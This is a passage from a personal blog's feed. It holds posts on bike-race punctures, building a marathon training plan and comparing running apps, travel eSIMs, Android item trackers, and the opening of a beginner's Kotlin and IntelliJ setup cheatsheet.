&lt;p&gt;Je suis loin du centre de Berlin, rentrer s'annonce compliqué. Je décide de me trouver un Nextbike et d'aller à la station de S-Bahn la plus proche. Alors que je suis sur mon Nextbike, une main sur le guidon, l'autre sur le guidon de mon vélo de route en train de le pousser, le coup de grâce arrive : troisième crevaison, le pneu avant de mon vélo de route est soudain à plat, aucune idée pourquoi. J'étais même pas sur le vélo bordel... 😂&lt;/p&gt;
&lt;video controls&gt;
  &lt;source src="./videos/velocity-2024.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;p&gt;Après avoir tout démonté ensuite à la maison, j'ai crevé à l'avant et à l'arrière à cause de morceaux de verre. Il semblerait qu'à l'arrière les 2 crevaisons étaient dus au même morceau, que je n'ai pas senti au doigt lors de ma rapide inspection sur le bord de la route, avant de remonter la nouvelle chambre. Dommage. Étonnant quand même, du verre dans Grunewald, une forêt...&lt;/p&gt;
&lt;h1 id="lecons-tirees"&gt;Leçons tirées&lt;/h1&gt;
&lt;p&gt;Bon déjà, les pneus. Alors ok, peut-être que j'ai juste eu VRAIMENT pas de chance, peut-être que des nouveaux pneus n'auraient rien changé, mais quand même. Même si les miens étaient encore bons (les témoins d'usure étaient visibles et ok, même si pas tout neufs), les pneus avaient plus de 10,000 kms. J'ai hésité à les changer avant la course, j'ai vraiment failli le faire, puis je me suis dit que ça allait le faire. Oups. En 2022 pour l'Étape du Tour, j'avais changé les pneus. J'aurais du faire pareil là. D'ailleurs, c'est ces mêmes pneus de 2022 avec lesquelles j'ai roulé hier. À l'avenir, je changerai mes pneus avant chaque course. Je garderai les anciens en backup s'ils sont encore bons, on va pas gaspiller non plus.&lt;/p&gt;
&lt;p&gt;Deuxième leçon : toujours avoir 2 chambres à air de rechange en course. Pareil, pour l'Étape du Tour j'en avais 2 à chaque fois. Là je sais pas pourquoi, j'y ai même pas pensé, je suis parti qu'avec une.&lt;/p&gt;
&lt;p&gt;Ensuite, les cartouches de CO2. J'ai toujours vu ça comme du gaspillage, mais en course c'est quand même intéressant. Déjà car ça t'évite 1 ou 2 minutes de gonflage épuisantes, et ensuite car ça permet de remettre 7 bars ou plus en 3 secondes, ce qui est nettement mieux pour rouler vite. Et là pareil, prévoir 2 cartouches, pas 1... car 2 chambres à air... donc 2 cartouches... On n'oublie pas l'adapteur entre la chambre à air et la cartouche. Et on garde quand même les rustines et la mini pompe en plus pour les longues courses ou même dépanner des gens tout simplement, ça pèse rien.&lt;/p&gt;
&lt;p&gt;Enfin, la dernière leçon, pour laquelle je ne suis pas encore 100% convaincu, c'est le &lt;em&gt;sealant&lt;/em&gt; (le liquide préventif anti-crevaison). Je roule pas en tubeless car j'ai entendu assez d'histoires cauchemardesques de cyclistes sur route, cependant si j'avais un gravel je serais en tubeless. Bref, sur route, je roule en chambre à air, mais j'ai lu sur Reddit notamment qu'il est possible de mettre du préventif dedans avant une course, qui fonctionnera comme sur du tubeless en cas de petite crevaison, et viendra boucher le trou. Il faut que je creuse le sujet. J'ai aussi vu qu'il existe des bombes de mousse à injecter dans une chambre à air APRÈS une crevaison, qui 1. répare les petites crevaisons et 2. regonfle la chambre à air. Suffisant pour finir une course. Pareil, sujet à creuser, et à tester au moins une fois sur une sortie hors course lors d'une crevaison, pour vérifier que ça fonctionne. Je suis pas encore convaincu pour le moment, surtout parce que la bombe est grosse, je me vois mal me trimballer ça dans le jersey. Par contre, mettre du préventif dans la chambre à air avant course, ça me semble mieux.&lt;/p&gt;
&lt;p&gt;Bref, encore plein d'apprentissages, journée riche en émotions. &lt;em&gt;I'll be back.&lt;/em&gt;&lt;/p&gt;</content><category term="Bikes"></category><category term="velocity"></category></entry><entry><title>Running: Building My Own Training Plan</title><link href="https://romainpellerin.eu/running-building-my-own-training-plan.html" rel="alternate"></link><published>2024-08-03T16:00:00+02:00</published><updated>2025-04-01T12:07:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-08-03:/running-building-my-own-training-plan.html</id><summary type="html">&lt;p&gt;Building my own plan is the best way to learn&lt;/p&gt;</summary><content type="html">&lt;h1 id="goal"&gt;Goal&lt;/h1&gt;
&lt;p&gt;W-13 until my first marathon ever. Time to start an actual training plan. Since the beginning of 2024, I was using the app &lt;a href="https://www.campus.coach/"&gt;Campus Coach&lt;/a&gt; for that. It's pretty good but far from perfect. It's also subscription-based, 15 euros per month (they do have a freemium version but it's too limited). They ask you many questions to customize the plan they build. However, after it's been created, I found it not flexible enough. For instance, it's not possible to postpone a session. Also, one cannot set a goal finish time for a race, instead the app will give an estimated finish time (based on their estimated MAS) and adjust it over time as progress is made.&lt;/p&gt;
&lt;p&gt;Anyways, it was not perfect, so I decided to look for an alternative. And I found &lt;a href="https://www.decathlon-pacer.com/"&gt;Kiprun Pacer&lt;/a&gt;, from Decathlon. Pretty different approach, it lets you drive your training more, and the sessions suggested are quite different. For instance, one can set their goal finish time. Also, it's free.&lt;/p&gt;
&lt;p&gt;So I thought I'd fully compare these 2 apps. Ultimately as I do so, my goal is to understand how plans are created, what to adjust to make them truly personalized, so that I can build my own plans in the future, without any app, paid or free. I want my plans to be flexibile, I want them to adjust to my week schedule changes, not the other way around.&lt;/p&gt;
&lt;p&gt;Since I've used Campus Coach for quite some time until August, I'll start using Kiprun Pacer from now on.&lt;/p&gt;
&lt;h1 id="kiprun-pacer"&gt;Kiprun Pacer&lt;/h1&gt;
&lt;p&gt;I set up my plan with the following parameters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I intend to do 4 sessions per week&lt;/li&gt;
&lt;li&gt;The race is on October 27th, 2024. It sets the plan duration to 13 weeks.&lt;/li&gt;
&lt;li&gt;I do not want to skip the evaluation phase&lt;/li&gt;
&lt;li&gt;Goal finish time: 3h29'00"&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Like Campus Coach, the app also asks you for your personal records, to fine tune the training even more.&lt;/p&gt;
&lt;p&gt;For what it's worth, I just completed today my &lt;a href="https://fr.wikipedia.org/wiki/Vitesse_maximale_a%C3%A9robie"&gt;MAS test&lt;/a&gt; and the result is: 16.95 km/h! It's commonly said that a marathon is usually run between 70% and 80% of one's MAS. 75% of 16.95 km/h = 12.71 km/h. In other words, a pace of 4'44"/km, or a finish time around 3h19". So my goal of 3h29'00" for a first marathon sounds realistic.&lt;/p&gt;
&lt;p&gt;In the plan that the app crafts, their "endurance active" zone ranges from 65% to 70% of one's MAS, their "endurance fondamentale" is at 60%.&lt;/p&gt;
&lt;h2 id="pros"&gt;Pros&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The app plans each week, i.e. it assigns a fixed day for each session, as opposed to simply telling you to do the sessions in the week the way you want. I need that sort of thing, otherwise I tend to poorly schedule my runs throughout a week. To do that, the app first asks you how many days a week you want to train, and which ones.&lt;/li&gt;
&lt;li&gt;Sessions can be postponed/rescheduled (moved to an earlier date too)&lt;/li&gt;
&lt;li&gt;The app lets you set a goal finish time before you start any plan, and will adjust all the sessions towards that goal, love it 😍&lt;/li&gt;
&lt;li&gt;The sessions are mainly built based on distances, as opposed to time. Like, "&lt;em&gt;5 times (500 meters at some pace, then 200 meters at some other pace)&lt;/em&gt;¨. I like that better than say, "&lt;em&gt;5 times (2 minutes at some pace, then 1 minute at some other pace)&lt;/em&gt;". Campus Coach uses exclusively time durations, not distances. Sure, if you follow the paces precisely, the end result is the same, but still. It's just my personal opinion.&lt;/li&gt;
&lt;li&gt;After a run, if you have connected your Garmin account to it, the app detects that the run was one from your training plan, and automatically "ticks it off". It then asks you a couple of optional questions, like "did you take pleasure in the run?", "how hard was it?", etc. These questions are used to quantify how well you are recovering/the load you're taking. &lt;strong&gt;Then, if the app determines some sessions were too hard, it automatically suggests to lower the difficulty of upcoming sessions.&lt;/strong&gt; By far my favorite feature of the app! 😍 Conversely, when you rate multiple runs in a row as easy, the app will suggest some changes to make the following few runs more difficult.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/kiprun-pacer.gif" alt="A screeshot of the app" /&gt;
&lt;figcaption&gt;The app suggests that I delete the next session, and make the following one easier&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;All the weeks in one's training plan are categorized. For my 13-week plan, those weeks fell in the following categories, in this order:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Evalutation (MAS (Maximal Aerobic Speed) test) week - 1 week&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Ramping up - 4 weeks&lt;/li&gt;
&lt;li&gt;Specific pace - 5 weeks&lt;/li&gt;
&lt;li&gt;Sharpening - 3 weeks&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cons"&gt;Cons&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;MAS sessions are extremely difficult, right off the bat, as early as week 2. As soon as the app knows your MAS (&lt;em&gt;VMA&lt;/em&gt; in French), it will schedule some sessions that aim at improving it. So those sessions are meant to be run at that speed. And the distances keep on increasing week over week. Super hard!!! Maybe too hard.&lt;/li&gt;
&lt;li&gt;The sharpening (i.e taper) phase of my 13-week plan was &lt;strong&gt;a bit long and way too brutal&lt;/strong&gt;. The decrease in kilometers is too big and too sudden. Week 10: 77.48 kms. Week 11: 42.09 kms. Week 12: 36.19 kms. Week 13 (race week): 15.13 kms.&lt;/li&gt;
&lt;li&gt;The sessions are built based on your MAS and your goal finish time. On one hand, it's nice to be working towards that goal, on the other hand if both values are not compatible (low MAS + ambitious goal, or high MAS + "easy" goal like 5 hours), the app won't complain and you'll end up with too slow and too fast runs. Fortunately for me, both my MAS and goal time are compatible.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="campus-coach-paid-version"&gt;Campus Coach (paid version)&lt;/h1&gt;
&lt;h2 id="pros_1"&gt;Pros&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;There is a dedicated section in the app where to see your progress over time, and your expected progress to come. That's very motivating!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cons_1"&gt;Cons&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The app does not let you set a goal finish time at the beginning of a plan. Instead it gives you an estimated time (based on their estimated MAS), and adjusts it as you make progress. The runs at specific pace are set to the ideal pace for you according to the app, not your goal pace. That sucks.&lt;/li&gt;
&lt;li&gt;They estimate your MAS, they don't have you do a real test to know a value. Not sure how, maybe they estimate based on your records that the app asks you about, and your recent runs.&lt;/li&gt;
&lt;li&gt;After a run, even if the app is connected to your Garmin account, you have to manually "validate the session", i.e. match your run in Garmin with a session in your plan in the app. A couple of more clicks, avoidable. Then it asks questions, like the Kiprun app, only less.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="conclusion-how-training-plans-for-a-marathon-are-built"&gt;Conclusion: how training plans for a marathon are built&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Extremely important notice: &lt;a href="https://youtu.be/-mrCT0LQq2U?t=2141"&gt;sleep, hydration and nutrition will be paramount during your training!&lt;/a&gt;&lt;/strong&gt; Now, onto the plan...&lt;/p&gt;
&lt;p&gt;So far, here are some bullet points on my learnings on how to build training plans yourself.&lt;/p&gt;
&lt;p&gt;The paces must always be calculated based on the MAS, not on the HR. Why? Because the heart rate will vary throughout the session and will not go back to a lower number after a fast segment, for instance. Also, it very much depends on how rested one is, weather/temperature, the time of the day, coffee/food, etc. So MAS is a much better indicator to base off paces.&lt;/p&gt;
&lt;p&gt;Any marathon plan should be at least 12-week long, with the following phases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Development/ramp up: some general training, and exercises to improve one's MAS&lt;/li&gt;
&lt;li&gt;Specific pace: specifically running at the goal pace, for long stretches, longer and longer over the weeks&lt;/li&gt;
&lt;li&gt;Sharpening: less intensity, less load (-30% to -50% less kms), but same number of runs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Overall, the plan should &lt;a href="https://youtu.be/ZDdZ3TqJkd8?t=364"&gt;follow the HVLIT phylosophy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Depending on how long before the plan the person has not trained, a phase to get back into shape might be required before these 3 phases.&lt;/p&gt;
&lt;p&gt;If one trains 4 times a week (like myself!), then most weeks should look something like this, in this order (#2 and #3 can be swapped):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;One easy jog, wihout speeding up at all, to build up one's endurance (&lt;em&gt;endurance fondamentale&lt;/em&gt; in French). Optionally, add some &lt;em&gt;&lt;a href="https://run-motion.com/lignes-droites-accelerations-running/"&gt;lignes droites&lt;/a&gt;&lt;/em&gt; &lt;a href="https://youtu.be/0hQsqivvRaI?t=787"&gt;at the very end of the session, from time to time&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;One relatively long run specifically targetting the marathon pace (a.k.a. specific pace), with long stretches at the pace. Optionally, when tired, this run can also be swapped with an easy jog. Of course starting with slow warm-up and cool-down phases. Alternatively, &lt;a href="https://youtu.be/0hQsqivvRaI?t=943"&gt;this one can also be a progressive run&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://youtu.be/-mrCT0LQq2U?t=1407"&gt;One quality session, relatively short in distance, with fast segments (intervals/&lt;em&gt;fractionné&lt;/em&gt;)&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;During the ramp up phase, these segments are meant to be run faster than the targeted marathon pace, aimed at improving one's MAS. 10km-pace, on distances from 800 meters to 1200 . Repeated 4 to 8 times, with recovery phases in between. MAS-pace, 200 meters to 600, up to 10 repetitions.&lt;/li&gt;
&lt;li&gt;Later in the training plan, during the specific pace phase (as one gets closer to race day), those segments may be swapped with longer and slower ones, at marathon pace or threshold pace. These segments will be 1000 to 5000-meter long, again, repeated multiple times throughout the session, spaced by recovery phases.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Make sure to give your body 48 hours after such a session to recover. The next day, no running, or an easy jog.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://youtu.be/kZ899mjIGeo?t=498"&gt;Generally, there are 4 types of quality sessions, depending on what one aims at improving&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;"Puissance aérobie": when you want to improve your MAS. Run at 95 to 105% of your MAS. A classic session is 10 x 400m (with 1 min recovery between each). An alternative is 10 x 200m (30 sec recovery). Or 6 x 1000m (R=200m). Recovery means jogging (slow run), some walking is acceptable if too strenuous. For non professional athletes, how you run during the recovery does not matter so much. The duration in time or distance does matter though.&lt;/li&gt;
&lt;li&gt;"Capacité aérobie"/résistance: 85-90% MAS.&lt;/li&gt;
&lt;li&gt;Seuil (anaérobie): 85-88% MAS.&lt;/li&gt;
&lt;li&gt;Endurance: &amp;lt; 85% MAS.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=twjKBvbX4nM"&gt;One long jog&lt;/a&gt;, usually on Sunday, with one or multiple segments at the targeted marathon pace. At the beginning of a training plan, a long jog means 1 hour or so, at the end of a plan, around 2 hours, maximum 2 and a half (a good rule of thumb is, two third of the targeted race duration). The longest of all should be 4 weeks ahead of the race (week W-5), to give your body enough time in the following weeks to recover. Some people do the Sunday long jog without any segment at marathon pace, same "slow"/easy pace all along. I prefer with segments at marathon pace. &lt;a href="https://youtu.be/47PPEm2A1zQ?t=1231"&gt;The segments (2, 3 or more) become longer over the weeks, separated with one minute at easy pace. Always start with a warm-up phase and end with a cool down phase, at an easy pace.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;One week out of ~4 should be a recovery week, where the number of kilometers is reduced, but also the number of fast segments. Except for those recovery weeks, the number of kms per week should gradually increased throughout the weeks, until the taper phase.&lt;/p&gt;
&lt;p&gt;The taper (a.k.a. sharpening phase, &lt;em&gt;affûtage&lt;/em&gt; in French) &lt;a href="https://youtu.be/_1k17PhaVbs?t=145"&gt;should be 2-week long&lt;/a&gt; (race week included!) for a marathon but gradual and not sudden. The peak in terms of weekly kilometers should happen the 4th week before the race, so just before the taper begins. &lt;a href="https://youtu.be/-mrCT0LQq2U?t=2234"&gt;The weekly total distance run in each of these 2 weeks (race included), should be equal to ~50% of your average weekly distance in the past few weeks.&lt;/a&gt; &lt;a href="https://youtu.be/sktgh84NXfU?t=94"&gt;The intensity and frequency should remain the same, only the distances should be reduced.&lt;/a&gt; &lt;a href="https://youtu.be/sktgh84NXfU?t=191"&gt;The last "quality session" (intervals at marathon pace) should be done on the last Wednesday before the race.&lt;/a&gt; (&lt;a href="https://youtu.be/wi_WGEZbLPQ?t=1288"&gt;here is another piece of advice on the taper&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="https://youtu.be/mu7celO4IEE?t=435"&gt;It is a great idea to run a half-marathon 3 or 4 weeks before the marathon, at the goal marathon pace, in race conditions (with gels and water) but on your own, to make sure the pace is fine and can be held for 21 kms without any issue.&lt;/a&gt;. If you do want to take part in an actual race, aim for 5 weeks ahead of the marathon.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://youtu.be/ZDdZ3TqJkd8?t=320"&gt;The percent of "quality kms" in a plan (kilometers run at a fast pace, beyond VT1/&lt;em&gt;SV1&lt;/em&gt; in French) should not exceed 25% on any week (otherwise, greater risk of fatigue and injury).&lt;/a&gt; (&lt;a href="https://youtu.be/I3KcGSAfw0Q?t=526"&gt;other source&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;ALL SESSIONS must start with a warm-up phase (55-60% MAS) from 20 to 30mins, and end with a 10-min cool-down phase (max 70-75% MAS), except if the session itself was an endurance one, run within 60-70% of your MAS.&lt;/p&gt;
&lt;p&gt;Before quality sessions, after warming up, it can be valuable to add 10 minutes or more, of &lt;a href="https://lacliniqueducoureur.com/coureurs/je-debute-la-course/affine-ta-biomecanique/affine-ta-biomecanique/"&gt;running drills&lt;/a&gt;, to improve one's technique but also help some specific muscles warm up.&lt;/p&gt;
&lt;p&gt;Finally, after the race, allow your body one full week off, no running at all, maybe some swimming or low intensity cycling. The second week after the race, you may start again slow jogs. But really, take it easy!&lt;/p&gt;
&lt;h1 id="online-training-plans-and-how-to-build-yours"&gt;Online training plans and how to build yours&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.running-addict.fr/category/plans-dentrainement/"&gt;Plans d'entraînement course à pied&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.conseils-courseapied.com/entrainement/planification.html"&gt;Construire vos propres plans d'entrainement 10 km, semi marathon et marathon&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lacliniqueducoureur.com/coureurs/programmes-de-course-a-pied/"&gt;Programmes d'entraînement - Course à pied - La Clinique Du Coureur&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.running-addict.fr/conseil-running/plan-entrainement-course-a-pied/"&gt;Construire son plan d’entraînement course à pied sans se tromper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=-mrCT0LQq2U"&gt;#30 - Préparation Marathon : 12 semaines pour être au top! - Dans la Tête d'un Coureur&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="reviews-of-online-training-plans"&gt;Reviews of online training plans&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=ZDdZ3TqJkd8"&gt;Decathlon Pacer: Une appli quasi parfaite avec un GROS défaut 😢&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=0hQsqivvRaI"&gt;CAMPUS coach : pourquoi je ne suis pas convaincu...&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=I3KcGSAfw0Q"&gt;J'ai acheté 3 plans marathon à 3 coachs différents (et c'est pas fou 😓)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="useful-links"&gt;Useful links&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.nolio.io/"&gt;Nolio, a website to build your training plans or collaborate with a coach&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Running"></category><category term="running"></category><category term="training"></category><category term="marathon"></category></entry><entry><title>eSIMs for international travel</title><link href="https://romainpellerin.eu/esims-for-international-travel.html" rel="alternate"></link><published>2024-07-30T17:30:00+02:00</published><updated>2024-07-30T17:30:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-07-30:/esims-for-international-travel.html</id><summary type="html">&lt;p&gt;Traveling abroad? Need the Internet?&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;a href="https://europa.eu/youreurope/citizens/consumers/internet-telecoms/mobile-roaming-costs/index_en.htm"&gt;While data roaming has now become essentially "free" for most Europeans&lt;/a&gt;, traveling outside Europe and surfing the internet can be quite expensive. But since the recent massive adoption of eSIMs on our smartphones, some comparies launched a brand new type of business: eSIMs for travels, that give you only data (no phone calls, no SMS). These come extremely handy when only web browsing is needed. With apps like WhatsApp, who still uses the basic phone and text features of our phones anyways?&lt;/p&gt;
&lt;p&gt;As I was recently traveling outside Europe, I did my fair share of googling and compiled here a list of websites and companies of interest.&lt;/p&gt;
&lt;h1 id="big-players"&gt;Big players&lt;/h1&gt;
&lt;p&gt;Among the many comparies out there, some names will pop out more often than others. &lt;strong&gt;Airalo&lt;/strong&gt;, &lt;strong&gt;Sparks&lt;/strong&gt;, &lt;strong&gt;Airhub&lt;/strong&gt; and &lt;strong&gt;Jetpac&lt;/strong&gt; are some of these big names with great reviews.&lt;/p&gt;
&lt;p&gt;I got to try both Airalo and Sparks, on Android, in Canada and the USA. All I can say is: they worked like a charm. The data consumption rate was matching the numbers reported by my phone, so they are not trying to rip you off. I was always either on a 5G network or on a 4G one, and the speed was very good. I did not perform any speed test, but watching Youtube in HD was no problem at all.&lt;/p&gt;
&lt;p&gt;Price-wise, Airalo was a bit more expensive than Sparks. On top of single-country packages, they both offer bundles that include multiple countries. For instance, Airalo has a "North-America" bundle that includes Mexico, the US and Canada, called "Americanmex". I got that one, valid for 30 days, 5 GB, $25.50.&lt;/p&gt;
&lt;p&gt;Downloading and installing their eSIMs was effortless and took less than a minute, directly from the airport, on the free Wi-Fi network. There were many options one could chose from: using a QR code, clicking a button from within an app, and a more "manual way". Activating the eSIM was instantaneous after that.&lt;/p&gt;
&lt;h1 id="comparison-portals"&gt;Comparison portals&lt;/h1&gt;
&lt;p&gt;Airalo, Sparks, Airhub, and Jetpac are not the only players. There are many more out there, and most of them are even cheaper. You can also grab better deals for some companies on marketplaces like &lt;a href="https://mobimatter.com/"&gt;MobiMatter&lt;/a&gt;, as opposed to directly on the company website. It's fairly easy to find referral codes (discounts) on Reddit for MobiMatter.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;However, the best comparison website I've found is &lt;a href="https://esimdb.com/"&gt;eSIMDB&lt;/a&gt;.&lt;/strong&gt; Everything is there, this should be your go-to website before purchasing any eSIM. It's easy to find plans where 1 GB costs $1.&lt;/p&gt;
&lt;p&gt;Here is another &lt;a href="https://esims.io/"&gt;one&lt;/a&gt; (&lt;a href="https://www.reddit.com/r/eSIMs/comments/xnsulk/massive_resims_overview_prepaid_data_esim/"&gt;and here's a copy on Reddit&lt;/a&gt;, should the website ever go down). This one is not neutral though, it earns commissions through affiliate links.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Hope this helps!&lt;/p&gt;</content><category term="Travels"></category><category term="esim"></category><category term="travel"></category><category term="mobile"></category><category term="phone"></category></entry><entry><title>Airtags for Android</title><link href="https://romainpellerin.eu/airtags-for-android.html" rel="alternate"></link><published>2024-07-28T18:00:00+02:00</published><updated>2024-07-28T18:00:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-07-28:/airtags-for-android.html</id><summary type="html">&lt;p&gt;All about the equivalent of Apple's airtags for Android&lt;/p&gt;</summary><content type="html">&lt;p&gt;Years after Apple launched the Airtags, Android is finally getting its long awaited counterpart, in the form of Google's "Find My Device" network.&lt;/p&gt;
&lt;p&gt;Yet, before this new standard, many companies had released their tags with their own networks, that would only work with their own app. Needless to say, the density of their networks is limited hence hindering their finding capabilities. Now that Google has released its network, these same companies are also launching new products that work with it. So essentially this means that besides the official AirTags from Apple, most other products either work exclusively with Apple, exclusively with Google, or exclusively with their prorietary apps. Here's a short article about what tags work with Google's network.&lt;/p&gt;
&lt;h1 id="chipolo-one-point"&gt;Chipolo ONE Point&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://chipolo.net/en/products/chipolo-one-point"&gt;Currently priced at 34 euros&lt;/a&gt;, discount codes can easily be found on Reddit. They do not support UWB (Ultra WideBand) but I'm not sure it's a big deal... Is this precision-finding feature really useful for my usages? I intend to track my luggage, not my keys...&lt;/p&gt;
&lt;h1 id="pebblebee-clip-for-android"&gt;Pebblebee Clip for Android&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://pebblebee.com/products/clip-for-android"&gt;Same price range, currently at 33.95 euros&lt;/a&gt;. They seem to be super similar to the Chipolo one. Again, no support for UWB.&lt;/p&gt;
&lt;h1 id="moto-tag"&gt;Moto Tag&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://www.motorola.com/us/moto-tag"&gt;They were just announced but they haven't been released yet.&lt;/a&gt; They will be the first tags to support USW. I might give them a chance in the future, after reviews start popping up on the Web.&lt;/p&gt;</content><category term="Computers"></category><category term="android"></category><category term="google"></category><category term="airtag"></category></entry><entry><title>Kotlin</title><link href="https://romainpellerin.eu/kotlin.html" rel="alternate"></link><published>2024-07-26T15:10:00+02:00</published><updated>2025-04-24T15:57:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-07-26:/kotlin.html</id><summary type="html">&lt;p&gt;Cheatsheet for beginners - such as myself!&lt;/p&gt;</summary><content type="html">&lt;h1 id="setup"&gt;Setup&lt;/h1&gt;
&lt;h2 id="install-kotlin"&gt;Install Kotlin&lt;/h2&gt;
&lt;p&gt;Installing Kotlin is not necessary. Only Java is. IntelliJ Ultimate Edition (paid) or Community Edition (free) both come with the Kotlin plugin bundled and enabled by default.&lt;/p&gt;
&lt;h2 id="install-java-required"&gt;Install Java (required)&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo apt update
sudo apt install openjdk-21-jdk &lt;span class="c1"&gt;# or newer, check with `apt search openjdk`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="install-apache-maven"&gt;Install Apache Maven&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://stackoverflow.com/questions/66399278/having-maven-plugins-in-intellij-idea-without-maven-installation-in-computer"&gt;Installing Maven, a popular build tool, is not required, as IntelliJ comes with a bundled version of Maven.&lt;/a&gt; However, installing your own version might come in handy, to be able to run Maven from the command line outside IntelliJ, or to run a specific version of Maven. &lt;strong&gt;It does not hurt to install Maven globally on the system, it won't conflict with IntelliJ's Maven, but it is not recommended.&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo apt update
sudo apt install maven
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="maven-wrapper"&gt;Maven Wrapper&lt;/h3&gt;
&lt;p&gt;A better alternative to installing Maven system-wide is to &lt;a href="https://maven.apache.org/wrapper/"&gt;use the Maven Wrapper in a project.&lt;/a&gt; It is usually a file named &lt;code&gt;mvnw&lt;/code&gt;. &lt;strong&gt;Its primary purpose is to ensure that anyone building the project uses the exact same version of Apache Maven, without needing to install Maven manually beforehand.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It comes with &lt;code&gt;.mvn/wrapper/maven-wrapper.properties&lt;/code&gt;, a configuration file specifying which version of Maven should be used and where to download it from (usually Maven Central).&lt;/p&gt;
&lt;p&gt;Instead of running &lt;code&gt;mvn &amp;lt;goal&amp;gt;&lt;/code&gt; (which uses the globally installed Maven, if any), users run &lt;code&gt;./mvnw &amp;lt;goal&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;h1 id="intellij-idea-ultimate"&gt;IntelliJ IDEA Ultimate&lt;/h1&gt;
&lt;p&gt;Although technically any IDE with the right extensions will do, it's recommended to use IntelliJ IDEA Ultimate. There is also the Community Edition that is completely free to use.&lt;/p&gt;
&lt;p&gt;Kotlin is included in all IntelliJ IDEA versions and releases.&lt;/p&gt;
&lt;h2 id="install"&gt;Install&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="https://www.jetbrains.com/toolbox-app/"&gt;Download Jetbrains' Toolbox App&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Extract &lt;code&gt;jetbrains-toolbox&lt;/code&gt; from the archive and move it under &lt;code&gt;~/.local/bin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Launch it. From there you can install IntelliJ Ultimate.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="setup-intellij"&gt;Setup IntelliJ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Settings &amp;gt; Build, Execution, Deployment &amp;gt; Build Tools &amp;gt; Maven &amp;gt; Importing &amp;gt; Automatically download&lt;/code&gt;. Check the 3 checkboxes "Sources", "Documentation" and "Annotations".&lt;/li&gt;
